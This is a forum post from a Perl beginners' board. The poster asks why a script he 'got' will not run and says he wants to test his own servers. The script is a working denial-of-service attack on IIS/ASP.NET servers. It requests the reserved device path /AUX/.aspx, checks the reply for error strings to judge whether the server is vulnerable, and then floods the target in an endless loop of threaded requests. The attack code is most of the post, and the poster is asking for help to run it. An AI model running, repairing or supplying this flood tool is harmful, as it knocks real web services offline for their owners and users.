CGI/Perl Guide | Learning Center | Forums | Advertise | Login
Site Search: in

  Main Index MAIN
INDEX
Search Posts SEARCH
POSTS
Who's Online WHO'S
ONLINE
Log in LOG
IN

Home: Perl Programming Help: Beginner: Compiling and running perl script in windows: Edit Log



Chucklz1515
Novice

Aug 19, 2009, 11:25 AM


Views: 7696
Compiling and running perl script in windows

Hi all, I'm new here (I registered 5 minutes ago) and I'm having some trouble running this script I got:


Code
use IO::Socket; 
use threads;
if ($ARGV[0] eq "") { exit; }
my $host = $ARGV[0];
$|=1;
sub sendit {
$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');
print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";
}
$sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => 'http(80)',
Proto => 'tcp');
print $sock "GET /AUX/.aspx HTTP/1.1\r\nHost: $host\r\nConnection:close\r\n\r\n";
$k=0;
while (<$sock>) {
if (($_ =~ /Runtime\sError/) || ($_ =~ /HttpException/)) {
$k=1;
last;
}
}
if ($k==0) {
print "Server does not seem vulnerable to this attack.\n";
exit;
}
print "Server is vulnerable to this attack!\n";
while(1){
for (my $i=0;$i<=100;$i++) {
$thr = threads->new(\&sendit);
print "\r\r\r$i/100 ";
}
foreach $thr (threads->list) {
$thr->join;
}
}


I know what this script is suppose to do, and before you make assumptions please note I'm trying to test my servers security. I'm new to perl but in the process of learning it.

Thanks in advanced - Chucklz1515


Forgot to mention that I get this error when I run from perl (5.10): "Use of uninitialized value $ARGV[0] in string eq at iis.pl line 7."

(This post was edited by Chucklz1515 on Aug 19, 2009, 11:37 AM)


Edit Log:
Post edited by Chucklz1515 (Novice) on Aug 19, 2009, 11:37 AM: forgot to mention XD


Search for (options) Powered by Gossamer Forum v.1.2.0

Web Applications & Managed Hosting Powered by Gossamer Threads
Visit our Mailing List Archives